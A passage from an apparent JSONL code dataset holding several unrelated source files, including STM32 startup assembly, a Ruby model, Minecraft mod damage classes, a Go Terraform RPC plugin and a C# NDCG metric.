    \n

    Could not open URL you've specified. \n\n

    Server responded with:\n

    \n\n
    \n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.\n//\n\n#import \"WXPBGeneratedMessage.h\"\n\n@class BakChatMsgList, BaseRequest, NSString, SKBuiltinBuffer_t;\n\n@interface BakChatUploadMsgRequest : WXPBGeneratedMessage\n{\n}\n\n+ (void)initialize;\n\n// Remaining properties\n@property(retain, nonatomic) NSString *bakChatClientId; // @dynamic bakChatClientId;\n@property(nonatomic) unsigned int bakChatSvrId; // @dynamic bakChatSvrId;\n@property(retain, nonatomic) BaseRequest *baseRequest; // @dynamic baseRequest;\n@property(retain, nonatomic) NSString *clientMsgId; // @dynamic clientMsgId;\n@property(retain, nonatomic) BakChatMsgList *data; // @dynamic data;\n@property(retain, nonatomic) SKBuiltinBuffer_t *dataBuffer; // @dynamic dataBuffer;\n@property(nonatomic) unsigned int dataLen; // @dynamic dataLen;\n\n@end\n\n"} +{"text": "/**\n ******************************************************************************\n * @file startup_stm32l496xx.s\n * @author MCD Application Team\n * @brief STM32L496xx devices vector table GCC toolchain.\n * This module performs:\n * - Set the initial SP\n * - Set the initial PC == Reset_Handler,\n * - Set the vector table entries with the exceptions ISR address,\n * - Configure the clock system \n * - Branches to main in the C library (which eventually\n * calls main()).\n * After Reset the Cortex-M4 processor is in Thread mode,\n * priority is Privileged, and the Stack is set to Main.\n ******************************************************************************\n * @attention\n *\n *

    © COPYRIGHT(c) 2017 STMicroelectronics

    \n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and/or other materials provided with the distribution.\n * 3. Neither the name of STMicroelectronics nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n ******************************************************************************\n */\n\n .syntax unified\n\t.cpu cortex-m4\n\t.fpu softvfp\n\t.thumb\n\n.global\tg_pfnVectors\n.global\tDefault_Handler\n\n/* start address for the initialization values of the .data section.\ndefined in linker script */\n.word\t_sidata\n/* start address for the .data section. defined in linker script */\n.word\t_sdata\n/* end address for the .data section. defined in linker script */\n.word\t_edata\n/* start address for the .bss section. defined in linker script */\n.word\t_sbss\n/* end address for the .bss section. defined in linker script */\n.word\t_ebss\n\n.equ BootRAM, 0xF1E0F85F\n/**\n * @brief This is the code that gets called when the processor first\n * starts execution following a reset event. Only the absolutely\n * necessary set is performed, after which the application\n * supplied main() routine is called.\n * @param None\n * @retval : None\n*/\n\n .section\t.text.Reset_Handler\n\t.weak\tReset_Handler\n\t.type\tReset_Handler, %function\nReset_Handler:\n ldr sp, =_estack /* Atollic update: set stack pointer */\n\n/* Copy the data segment initializers from flash to SRAM */\n movs\tr1, #0\n b\tLoopCopyDataInit\n\nCopyDataInit:\n\tldr\tr3, =_sidata\n\tldr\tr3, [r3, r1]\n\tstr\tr3, [r0, r1]\n\tadds\tr1, r1, #4\n\nLoopCopyDataInit:\n\tldr\tr0, =_sdata\n\tldr\tr3, =_edata\n\tadds\tr2, r0, r1\n\tcmp\tr2, r3\n\tbcc\tCopyDataInit\n\tldr\tr2, =_sbss\n\tb\tLoopFillZerobss\n/* Zero fill the bss segment. */\nFillZerobss:\n\tmovs\tr3, #0\n\tstr\tr3, [r2], #4\n\nLoopFillZerobss:\n\tldr\tr3, = _ebss\n\tcmp\tr2, r3\n\tbcc\tFillZerobss\n\n/* Call the clock system intitialization function.*/\n bl SystemInit\n/* Call static constructors */\n bl __libc_init_array\n/* Call the application's entry point.*/\n\tbl\tmain\n\nLoopForever:\n b LoopForever\n \n.size\tReset_Handler, .-Reset_Handler\n\n/**\n * @brief This is the code that gets called when the processor receives an\n * unexpected interrupt. This simply enters an infinite loop, preserving\n * the system state for examination by a debugger.\n *\n * @param None\n * @retval : None\n*/\n .section\t.text.Default_Handler,\"ax\",%progbits\nDefault_Handler:\nInfinite_Loop:\n\tb\tInfinite_Loop\n\t.size\tDefault_Handler, .-Default_Handler\n/******************************************************************************\n*\n* The minimal vector table for a Cortex-M4. Note that the proper constructs\n* must be placed on this to ensure that it ends up at physical address\n* 0x0000.0000.\n*\n******************************************************************************/\n \t.section\t.isr_vector,\"a\",%progbits\n\t.type\tg_pfnVectors, %object\n\t.size\tg_pfnVectors, .-g_pfnVectors\n\n\ng_pfnVectors:\n\t.word\t_estack\n\t.word\tReset_Handler\n\t.word\tNMI_Handler\n\t.word\tHardFault_Handler\n\t.word\tMemManage_Handler\n\t.word\tBusFault_Handler\n\t.word\tUsageFault_Handler\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\tSVC_Handler\n\t.word\tDebugMon_Handler\n\t.word\t0\n\t.word\tPendSV_Handler\n\t.word\tSysTick_Handler\n\t.word\tWWDG_IRQHandler\n\t.word\tPVD_PVM_IRQHandler\n\t.word\tTAMP_STAMP_IRQHandler\n\t.word\tRTC_WKUP_IRQHandler\n\t.word\tFLASH_IRQHandler\n\t.word\tRCC_IRQHandler\n\t.word\tEXTI0_IRQHandler\n\t.word\tEXTI1_IRQHandler\n\t.word\tEXTI2_IRQHandler\n\t.word\tEXTI3_IRQHandler\n\t.word\tEXTI4_IRQHandler\n\t.word\tDMA1_Channel1_IRQHandler\n\t.word\tDMA1_Channel2_IRQHandler\n\t.word\tDMA1_Channel3_IRQHandler\n\t.word\tDMA1_Channel4_IRQHandler\n\t.word\tDMA1_Channel5_IRQHandler\n\t.word\tDMA1_Channel6_IRQHandler\n\t.word\tDMA1_Channel7_IRQHandler\n\t.word\tADC1_2_IRQHandler\n\t.word\tCAN1_TX_IRQHandler\n\t.word\tCAN1_RX0_IRQHandler\n\t.word\tCAN1_RX1_IRQHandler\n\t.word\tCAN1_SCE_IRQHandler\n\t.word\tEXTI9_5_IRQHandler\n\t.word\tTIM1_BRK_TIM15_IRQHandler\n\t.word\tTIM1_UP_TIM16_IRQHandler\n\t.word\tTIM1_TRG_COM_TIM17_IRQHandler\n\t.word\tTIM1_CC_IRQHandler\n\t.word\tTIM2_IRQHandler\n\t.word\tTIM3_IRQHandler\n\t.word\tTIM4_IRQHandler\n\t.word\tI2C1_EV_IRQHandler\n\t.word\tI2C1_ER_IRQHandler\n\t.word\tI2C2_EV_IRQHandler\n\t.word\tI2C2_ER_IRQHandler\n\t.word\tSPI1_IRQHandler\n\t.word\tSPI2_IRQHandler\n\t.word\tUSART1_IRQHandler\n\t.word\tUSART2_IRQHandler\n\t.word\tUSART3_IRQHandler\n\t.word\tEXTI15_10_IRQHandler\n\t.word\tRTC_Alarm_IRQHandler\n\t.word\tDFSDM1_FLT3_IRQHandler\n\t.word\tTIM8_BRK_IRQHandler\n\t.word\tTIM8_UP_IRQHandler\n\t.word\tTIM8_TRG_COM_IRQHandler\n\t.word\tTIM8_CC_IRQHandler\n\t.word\tADC3_IRQHandler\n\t.word\tFMC_IRQHandler\n\t.word\tSDMMC1_IRQHandler\n\t.word\tTIM5_IRQHandler\n\t.word\tSPI3_IRQHandler\n\t.word\tUART4_IRQHandler\n\t.word\tUART5_IRQHandler\n\t.word\tTIM6_DAC_IRQHandler\n\t.word\tTIM7_IRQHandler\n\t.word\tDMA2_Channel1_IRQHandler\n\t.word\tDMA2_Channel2_IRQHandler\n\t.word\tDMA2_Channel3_IRQHandler\n\t.word\tDMA2_Channel4_IRQHandler\n\t.word\tDMA2_Channel5_IRQHandler\n\t.word\tDFSDM1_FLT0_IRQHandler\n\t.word\tDFSDM1_FLT1_IRQHandler\n\t.word\tDFSDM1_FLT2_IRQHandler\n\t.word\tCOMP_IRQHandler\n\t.word\tLPTIM1_IRQHandler\n\t.word\tLPTIM2_IRQHandler\n\t.word\tOTG_FS_IRQHandler\n\t.word\tDMA2_Channel6_IRQHandler\n\t.word\tDMA2_Channel7_IRQHandler\n\t.word\tLPUART1_IRQHandler\n\t.word\tQUADSPI_IRQHandler\n\t.word\tI2C3_EV_IRQHandler\n\t.word\tI2C3_ER_IRQHandler\n\t.word\tSAI1_IRQHandler\n\t.word\tSAI2_IRQHandler\n\t.word\tSWPMI1_IRQHandler\n\t.word\tTSC_IRQHandler\n\t.word\tLCD_IRQHandler\n\t.word 0\n\t.word\tRNG_IRQHandler\n\t.word\tFPU_IRQHandler\n\t.word\tCRS_IRQHandler\n\t.word\tI2C4_EV_IRQHandler\n\t.word\tI2C4_ER_IRQHandler\n\t.word\tDCMI_IRQHandler\n\t.word\tCAN2_TX_IRQHandler\n\t.word\tCAN2_RX0_IRQHandler\n\t.word\tCAN2_RX1_IRQHandler\n\t.word\tCAN2_SCE_IRQHandler\n\t.word\tDMA2D_IRQHandler \n\n\n/*******************************************************************************\n*\n* Provide weak aliases for each Exception handler to the Default_Handler.\n* As they are weak aliases, any function with the same name will override\n* this definition.\n*\n*******************************************************************************/\n\n .weak\tNMI_Handler\n\t.thumb_set NMI_Handler,Default_Handler\n\n .weak\tHardFault_Handler\n\t.thumb_set HardFault_Handler,Default_Handler\n\n .weak\tMemManage_Handler\n\t.thumb_set MemManage_Handler,Default_Handler\n\n .weak\tBusFault_Handler\n\t.thumb_set BusFault_Handler,Default_Handler\n\n\t.weak\tUsageFault_Handler\n\t.thumb_set UsageFault_Handler,Default_Handler\n\n\t.weak\tSVC_Handler\n\t.thumb_set SVC_Handler,Default_Handler\n\n\t.weak\tDebugMon_Handler\n\t.thumb_set DebugMon_Handler,Default_Handler\n\n\t.weak\tPendSV_Handler\n\t.thumb_set PendSV_Handler,Default_Handler\n\n\t.weak\tSysTick_Handler\n\t.thumb_set SysTick_Handler,Default_Handler\n\n\t.weak\tWWDG_IRQHandler\n\t.thumb_set WWDG_IRQHandler,Default_Handler\n\n\t.weak\tPVD_PVM_IRQHandler\n\t.thumb_set PVD_PVM_IRQHandler,Default_Handler\n\n\t.weak\tTAMP_STAMP_IRQHandler\n\t.thumb_set TAMP_STAMP_IRQHandler,Default_Handler\n\n\t.weak\tRTC_WKUP_IRQHandler\n\t.thumb_set RTC_WKUP_IRQHandler,Default_Handler\n\n\t.weak\tFLASH_IRQHandler\n\t.thumb_set FLASH_IRQHandler,Default_Handler\n\n\t.weak\tRCC_IRQHandler\n\t.thumb_set RCC_IRQHandler,Default_Handler\n\n\t.weak\tEXTI0_IRQHandler\n\t.thumb_set EXTI0_IRQHandler,Default_Handler\n\n\t.weak\tEXTI1_IRQHandler\n\t.thumb_set EXTI1_IRQHandler,Default_Handler\n\n\t.weak\tEXTI2_IRQHandler\n\t.thumb_set EXTI2_IRQHandler,Default_Handler\n\n\t.weak\tEXTI3_IRQHandler\n\t.thumb_set EXTI3_IRQHandler,Default_Handler\n\n\t.weak\tEXTI4_IRQHandler\n\t.thumb_set EXTI4_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel1_IRQHandler\n\t.thumb_set DMA1_Channel1_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel2_IRQHandler\n\t.thumb_set DMA1_Channel2_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel3_IRQHandler\n\t.thumb_set DMA1_Channel3_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel4_IRQHandler\n\t.thumb_set DMA1_Channel4_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel5_IRQHandler\n\t.thumb_set DMA1_Channel5_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel6_IRQHandler\n\t.thumb_set DMA1_Channel6_IRQHandler,Default_Handler\n\n\t.weak\tDMA1_Channel7_IRQHandler\n\t.thumb_set DMA1_Channel7_IRQHandler,Default_Handler\n\n\t.weak\tADC1_2_IRQHandler\n\t.thumb_set ADC1_2_IRQHandler,Default_Handler\n\n\t.weak\tCAN1_TX_IRQHandler\n\t.thumb_set CAN1_TX_IRQHandler,Default_Handler\n\n\t.weak\tCAN1_RX0_IRQHandler\n\t.thumb_set CAN1_RX0_IRQHandler,Default_Handler\n\n\t.weak\tCAN1_RX1_IRQHandler\n\t.thumb_set CAN1_RX1_IRQHandler,Default_Handler\n\n\t.weak\tCAN1_SCE_IRQHandler\n\t.thumb_set CAN1_SCE_IRQHandler,Default_Handler\n\n\t.weak\tEXTI9_5_IRQHandler\n\t.thumb_set EXTI9_5_IRQHandler,Default_Handler\n\n\t.weak\tTIM1_BRK_TIM15_IRQHandler\n\t.thumb_set TIM1_BRK_TIM15_IRQHandler,Default_Handler\n\n\t.weak\tTIM1_UP_TIM16_IRQHandler\n\t.thumb_set TIM1_UP_TIM16_IRQHandler,Default_Handler\n\n\t.weak\tTIM1_TRG_COM_TIM17_IRQHandler\n\t.thumb_set TIM1_TRG_COM_TIM17_IRQHandler,Default_Handler\n\n\t.weak\tTIM1_CC_IRQHandler\n\t.thumb_set TIM1_CC_IRQHandler,Default_Handler\n\n\t.weak\tTIM2_IRQHandler\n\t.thumb_set TIM2_IRQHandler,Default_Handler\n\n\t.weak\tTIM3_IRQHandler\n\t.thumb_set TIM3_IRQHandler,Default_Handler\n\n\t.weak\tTIM4_IRQHandler\n\t.thumb_set TIM4_IRQHandler,Default_Handler\n\n\t.weak\tI2C1_EV_IRQHandler\n\t.thumb_set I2C1_EV_IRQHandler,Default_Handler\n\n\t.weak\tI2C1_ER_IRQHandler\n\t.thumb_set I2C1_ER_IRQHandler,Default_Handler\n\n\t.weak\tI2C2_EV_IRQHandler\n\t.thumb_set I2C2_EV_IRQHandler,Default_Handler\n\n\t.weak\tI2C2_ER_IRQHandler\n\t.thumb_set I2C2_ER_IRQHandler,Default_Handler\n\n\t.weak\tSPI1_IRQHandler\n\t.thumb_set SPI1_IRQHandler,Default_Handler\n\n\t.weak\tSPI2_IRQHandler\n\t.thumb_set SPI2_IRQHandler,Default_Handler\n\n\t.weak\tUSART1_IRQHandler\n\t.thumb_set USART1_IRQHandler,Default_Handler\n\n\t.weak\tUSART2_IRQHandler\n\t.thumb_set USART2_IRQHandler,Default_Handler\n\n\t.weak\tUSART3_IRQHandler\n\t.thumb_set USART3_IRQHandler,Default_Handler\n\n\t.weak\tEXTI15_10_IRQHandler\n\t.thumb_set EXTI15_10_IRQHandler,Default_Handler\n\n\t.weak\tRTC_Alarm_IRQHandler\n\t.thumb_set RTC_Alarm_IRQHandler,Default_Handler\n\n\t.weak\tDFSDM1_FLT3_IRQHandler\n\t.thumb_set DFSDM1_FLT3_IRQHandler,Default_Handler\n\n\t.weak\tTIM8_BRK_IRQHandler\n\t.thumb_set TIM8_BRK_IRQHandler,Default_Handler\n\n\t.weak\tTIM8_UP_IRQHandler\n\t.thumb_set TIM8_UP_IRQHandler,Default_Handler\n\n\t.weak\tTIM8_TRG_COM_IRQHandler\n\t.thumb_set TIM8_TRG_COM_IRQHandler,Default_Handler\n\n\t.weak\tTIM8_CC_IRQHandler\n\t.thumb_set TIM8_CC_IRQHandler,Default_Handler\n\n\t.weak\tADC3_IRQHandler\n\t.thumb_set ADC3_IRQHandler,Default_Handler\n\n\t.weak\tFMC_IRQHandler\n\t.thumb_set FMC_IRQHandler,Default_Handler\n\n\t.weak\tSDMMC1_IRQHandler\n\t.thumb_set SDMMC1_IRQHandler,Default_Handler\n\n\t.weak\tTIM5_IRQHandler\n\t.thumb_set TIM5_IRQHandler,Default_Handler\n\n\t.weak\tSPI3_IRQHandler\n\t.thumb_set SPI3_IRQHandler,Default_Handler\n\n\t.weak\tUART4_IRQHandler\n\t.thumb_set UART4_IRQHandler,Default_Handler\n\n\t.weak\tUART5_IRQHandler\n\t.thumb_set UART5_IRQHandler,Default_Handler\n\n\t.weak\tTIM6_DAC_IRQHandler\n\t.thumb_set TIM6_DAC_IRQHandler,Default_Handler\n\n\t.weak\tTIM7_IRQHandler\n\t.thumb_set TIM7_IRQHandler,Default_Handler\n\n\t.weak\tDMA2_Channel1_IRQHandler\n\t.thumb_set DMA2_Channel1_IRQHandler,Default_Handler\n\n\t.weak\tDMA2_Channel2_IRQHandler\n\t.thumb_set DMA2_Channel2_IRQHandler,Default_Handler\n\n\t.weak\tDMA2_Channel3_IRQHandler\n\t.thumb_set DMA2_Channel3_IRQHandler,Default_Handler\n\n\t.weak\tDMA2_Channel4_IRQHandler\n\t.thumb_set DMA2_Channel4_IRQHandler,Default_Handler\n\n\t.weak\tDMA2_Channel5_IRQHandler\n\t.thumb_set DMA2_Channel5_IRQHandler,Default_Handler\n\n\t.weak\tDFSDM1_FLT0_IRQHandler\n\t.thumb_set DFSDM1_FLT0_IRQHandler,Default_Handler\t\n\t\n\t.weak\tDFSDM1_FLT1_IRQHandler\n\t.thumb_set DFSDM1_FLT1_IRQHandler,Default_Handler\t\n\t\n\t.weak\tDFSDM1_FLT2_IRQHandler\n\t.thumb_set DFSDM1_FLT2_IRQHandler,Default_Handler\t\n\t\n\t.weak\tCOMP_IRQHandler\n\t.thumb_set COMP_IRQHandler,Default_Handler\n\t\n\t.weak\tLPTIM1_IRQHandler\n\t.thumb_set LPTIM1_IRQHandler,Default_Handler\n\t\n\t.weak\tLPTIM2_IRQHandler\n\t.thumb_set LPTIM2_IRQHandler,Default_Handler\t\n\t\n\t.weak\tOTG_FS_IRQHandler\n\t.thumb_set OTG_FS_IRQHandler,Default_Handler\t\n\t\n\t.weak\tDMA2_Channel6_IRQHandler\n\t.thumb_set DMA2_Channel6_IRQHandler,Default_Handler\t\n\t\n\t.weak\tDMA2_Channel7_IRQHandler\n\t.thumb_set DMA2_Channel7_IRQHandler,Default_Handler\t\n\t\n\t.weak\tLPUART1_IRQHandler\n\t.thumb_set LPUART1_IRQHandler,Default_Handler\t\n\t\n\t.weak\tQUADSPI_IRQHandler\n\t.thumb_set QUADSPI_IRQHandler,Default_Handler\t\n\t\n\t.weak\tI2C3_EV_IRQHandler\n\t.thumb_set I2C3_EV_IRQHandler,Default_Handler\t\n\t\n\t.weak\tI2C3_ER_IRQHandler\n\t.thumb_set I2C3_ER_IRQHandler,Default_Handler\t\n\t\n\t.weak\tSAI1_IRQHandler\n\t.thumb_set SAI1_IRQHandler,Default_Handler\n\t\n\t.weak\tSAI2_IRQHandler\n\t.thumb_set SAI2_IRQHandler,Default_Handler\n\t\n\t.weak\tSWPMI1_IRQHandler\n\t.thumb_set SWPMI1_IRQHandler,Default_Handler\n\t\n\t.weak\tTSC_IRQHandler\n\t.thumb_set TSC_IRQHandler,Default_Handler\n\t\n\t.weak\tLCD_IRQHandler\n\t.thumb_set LCD_IRQHandler,Default_Handler\n\t\n\t.weak\tRNG_IRQHandler\n\t.thumb_set RNG_IRQHandler,Default_Handler\n\t\n\t.weak\tFPU_IRQHandler\n\t.thumb_set FPU_IRQHandler,Default_Handler\n\t\n\t.weak\tCRS_IRQHandler\n\t.thumb_set CRS_IRQHandler,Default_Handler\t\n\t\n\t.weak\tI2C4_EV_IRQHandler\n\t.thumb_set I2C4_EV_IRQHandler,Default_Handler\n\t\n\t.weak\tI2C4_ER_IRQHandler\n\t.thumb_set I2C4_ER_IRQHandler,Default_Handler\n\t\n\t.weak\tDCMI_IRQHandler\n\t.thumb_set DCMI_IRQHandler,Default_Handler\n\t\n\t.weak\tCAN2_TX_IRQHandler\n\t.thumb_set CAN2_TX_IRQHandler,Default_Handler\n\t\n\t.weak\tCAN2_RX0_IRQHandler\n\t.thumb_set CAN2_RX0_IRQHandler,Default_Handler\n\t\n\t.weak\tCAN2_RX1_IRQHandler\n\t.thumb_set CAN2_RX1_IRQHandler,Default_Handler\n\t\n\t.weak\tCAN2_SCE_IRQHandler\n\t.thumb_set CAN2_SCE_IRQHandler,Default_Handler \n\t\n\t.weak\tDMA2D_IRQHandler\n\t.thumb_set FPU_IRQHandler,Default_Handler \n/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/\n"} +{"text": "%include \"arm/unused.S\"\n"} +{"text": "class Architecture < ApplicationRecord\n audited\n include Authorizable\n extend FriendlyId\n friendly_id :name\n include Parameterizable::ByIdName\n\n before_destroy EnsureNotUsedBy.new(:hosts, :hostgroups)\n validates_lengths_from_database\n\n has_many_hosts\n has_many :hostgroups\n has_many :images, :dependent => :destroy\n has_and_belongs_to_many :operatingsystems\n validates :name, :presence => true, :uniqueness => true, :no_whitespace => true\n\n scoped_search :on => :name, :complete_value => :true\n\n def bootfilename_efi\n case name\n when /i.86/\n 'ia32'\n when /x86[_-]64/\n 'x64'\n when /aarch64|aa64/\n 'aa64'\n else # ppc64, ppc64le and others\n name.parameterize.gsub(/[^\\w\\.-]/, '_')\n end\n end\nend\n"} +{"text": "package gregtech.api.damagesources;\n\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.util.*;\n\npublic class GT_DamageSources {\n public static DamageSource getElectricDamage() {\n return ic2.api.info.Info.DMG_ELECTRIC;\n }\n\n public static DamageSource getRadioactiveDamage() {\n return ic2.api.info.Info.DMG_RADIATION;\n }\n\n public static DamageSource getNukeExplosionDamage() {\n return ic2.api.info.Info.DMG_NUKE_EXPLOSION;\n }\n\n public static DamageSource getExplodingDamage() {\n return new DamageSourceExploding();\n }\n\n public static DamageSource getCombatDamage(String aType, EntityLivingBase aPlayer, IChatComponent aDeathMessage) {\n return new DamageSourceCombat(aType, aPlayer, aDeathMessage);\n }\n\n public static DamageSource getHeatDamage() {\n return new DamageSourceHeat();\n }\n\n public static DamageSource getFrostDamage() {\n return new DamageSourceFrost();\n }\n\n private static class DamageSourceCombat extends EntityDamageSource {\n private IChatComponent mDeathMessage;\n\n public DamageSourceCombat(String aType, EntityLivingBase aPlayer, IChatComponent aDeathMessage) {\n super(aType, aPlayer);\n mDeathMessage = aDeathMessage;\n }\n\n @Override\n public IChatComponent func_151519_b(EntityLivingBase aTarget) {\n return mDeathMessage == null ? super.func_151519_b(aTarget) : mDeathMessage;\n }\n }\n\n private static class DamageSourceFrost extends DamageSource {\n public DamageSourceFrost() {\n super(\"frost\");\n setDifficultyScaled();\n }\n\n @Override\n public IChatComponent func_151519_b(EntityLivingBase aTarget) {\n return new ChatComponentText(EnumChatFormatting.RED + aTarget.getCommandSenderName() + EnumChatFormatting.WHITE + \" got frozen\");\n }\n }\n\n private static class DamageSourceHeat extends DamageSource {\n public DamageSourceHeat() {\n super(\"steam\");\n setDifficultyScaled();\n }\n\n @Override\n public IChatComponent func_151519_b(EntityLivingBase aTarget) {\n return new ChatComponentText(EnumChatFormatting.RED + aTarget.getCommandSenderName() + EnumChatFormatting.WHITE + \" was boiled alive\");\n }\n }\n\n public static class DamageSourceExploding extends DamageSource {\n public DamageSourceExploding() {\n super(\"exploded\");\n setDamageAllowedInCreativeMode();\n setDamageBypassesArmor();\n setDamageIsAbsolute();\n }\n\n @Override\n public IChatComponent func_151519_b(EntityLivingBase aTarget) {\n return new ChatComponentText(EnumChatFormatting.RED + aTarget.getCommandSenderName() + EnumChatFormatting.WHITE + \" exploded\");\n }\n }\n}"} +{"text": "package plugin\n\nimport (\n\t\"context\"\n\t\"net/rpc\"\n\n\t\"github.com/hashicorp/go-plugin\"\n\t\"github.com/hashicorp/terraform-plugin-sdk/terraform\"\n)\n\n// UIInput is an implementation of terraform.UIInput that communicates\n// over RPC.\ntype UIInput struct {\n\tClient *rpc.Client\n}\n\nfunc (i *UIInput) Input(ctx context.Context, opts *terraform.InputOpts) (string, error) {\n\tvar resp UIInputInputResponse\n\terr := i.Client.Call(\"Plugin.Input\", opts, &resp)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif resp.Error != nil {\n\t\terr = resp.Error\n\t\treturn \"\", err\n\t}\n\n\treturn resp.Value, nil\n}\n\ntype UIInputInputResponse struct {\n\tValue string\n\tError *plugin.BasicError\n}\n\n// UIInputServer is a net/rpc compatible structure for serving\n// a UIInputServer. This should not be used directly.\ntype UIInputServer struct {\n\tUIInput terraform.UIInput\n}\n\nfunc (s *UIInputServer) Input(\n\topts *terraform.InputOpts,\n\treply *UIInputInputResponse) error {\n\tvalue, err := s.UIInput.Input(context.Background(), opts)\n\t*reply = UIInputInputResponse{\n\t\tValue: value,\n\t\tError: plugin.NewBasicError(err),\n\t}\n\n\treturn nil\n}\n"} +{"text": "// Copyright (C) 2011 Zeno Gantner\n//\n// This file is part of MyMediaLite.\n//\n// MyMediaLite is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// MyMediaLite is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with MyMediaLite. If not, see .\n\nusing System;\nusing System.Collections.Generic;\n\nnamespace MyMediaLite.Eval.Measures\n{\n\t/// Normalized discounted cumulative gain (NDCG) of a list of ranked items\n\t/// \n\t/// See http://recsyswiki.com/wiki/Discounted_Cumulative_Gain\n\t/// \n\tpublic static class NDCG\n\t{\n\t\t/// Compute the normalized discounted cumulative gain (NDCG) of a list of ranked items\n\t\t/// \n\t\t/// See http://recsyswiki.com/wiki/Discounted_Cumulative_Gain\n\t\t/// \n\t\t/// a list of ranked item IDs, the highest-ranking item first\n\t\t/// a collection of positive/correct item IDs\n\t\t/// the NDCG for the given data\n\t\tpublic static double Compute(IList ranked_items, ICollection correct_items)\n\t\t{\n\t\t\tdouble dcg = 0;\n\t\t\tdouble idcg = ComputeIDCG(correct_items.Count);\n\n\t\t\tfor (int i = 0; i < ranked_items.Count; i++)\n\t\t\t{\n\t\t\t\tint item_id = ranked_items[i];\n\n\t\t\t\tif (!correct_items.Contains(item_id))\n\t\t\t\t\tcontinue;\n\n\t\t\t\t// compute NDCG part\n\t\t\t\tint rank = i + 1;\n\t\t\t\tdcg += 1 / Math.Log(rank + 1, 2);\n\t\t\t}\n\n\t\t\treturn dcg / idcg;\n\t\t}\n\n\t\t/// Computes the ideal DCG given the number of positive items.\n\t\t/// \n\t\t/// See http://recsyswiki.com/wiki/Discounted_Cumulative_Gain\n\t\t/// \n\t\t/// the ideal DCG\n\t\t/// the number of positive items\n\t\tstatic double ComputeIDCG(int n)\n\t\t{\n\t\t\tdouble idcg = 0;\n\t\t\tfor (int i = 0; i < n; i++)\n\t\t\t\tidcg += 1 / Math.Log(i + 2, 2);\n\t\t\treturn idcg;\n\t\t}\n\t}\n}\n"} +{"text": "/*\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.\n *\n * Copyright (c) 2010-2017 Oracle and/or its affiliates. All rights reserved.\n *\n * The contents of this file are subject to the terms of either the GNU\n * General Public License Version 2 only (\"GPL\") or the Common Development\n * and Distribution License(\"CDDL\") (collectively, the \"License\"). You\n * may not use this file except in compliance with the License. You can\n * obtain a copy of the License at\n * https://oss.oracle.com/licenses/CDDL+GPL-1.1\n * or LICENSE.txt. See the License for the specific\n * language governing permissions and limitations under the License.\n *\n * When distributing the software, include this License Header Notice in each\n * file and include the License file at LICENSE.txt.\n *\n * GPL Classpath Exception:\n * Oracle designates this particular file as subject to the \"Classpath\"\n * exception as provided by Oracle in the GPL Version 2 section of the License\n * file that accompanied this code.\n *\n * Modifications:\n * If applicable, add the following below the License Header, with the fields\n * enclosed by brackets [] replaced by your own identifying information:\n * \"Portions Copyright [year] [name of copyright owner]\"\n *\n * Contributor(s):\n * If you wish your version of this file to be governed by only the CDDL or\n * only the GPL Version 2, indicate your decision by adding \"[Contributor]\n * elects to include this software in this distribution under the [CDDL or GPL\n * Version 2] license.\" If you don't indicate a single choice of license, a\n * recipient has the option to distribute your version of this file under\n * either the CDDL, the GPL Version 2 or to extend the choice of license to\n * its licensees as provided above. However, if you add GPL Version 2 code\n * and therefore, elected the GPL Version 2 license, then the option applies\n * only if the new code is made subject to such option by the copyright\n * holder.\n */\n\npackage test.client;\n\nimport java.io.*;\nimport java.net.*;\nimport com.sun.ejte.ccl.reporter.*;\n\n/*\n * Unit test for @WebServlet\n */\npublic class WebTest {\n\n private static SimpleReporterAdapter stat\n = new SimpleReporterAdapter(\"appserv-tests\");\n private static final String TEST_NAME = \n \"interceptors-multiple-interceptor-binding-annotations\";\n\n private static final String EXPECTED_RESPONSE = \"Hello from Servlet 3.0.\";\n\n private String host;\n private String port;\n private String contextRoot;\n\n public WebTest(String[] args) {\n host = args[0];\n port = args[1];\n contextRoot = args[2];\n }\n \n public static void main(String[] args) {\n stat.addDescription(\"Unit test for interceptors\");\n WebTest webTest = new WebTest(args);\n webTest.doTest();\n 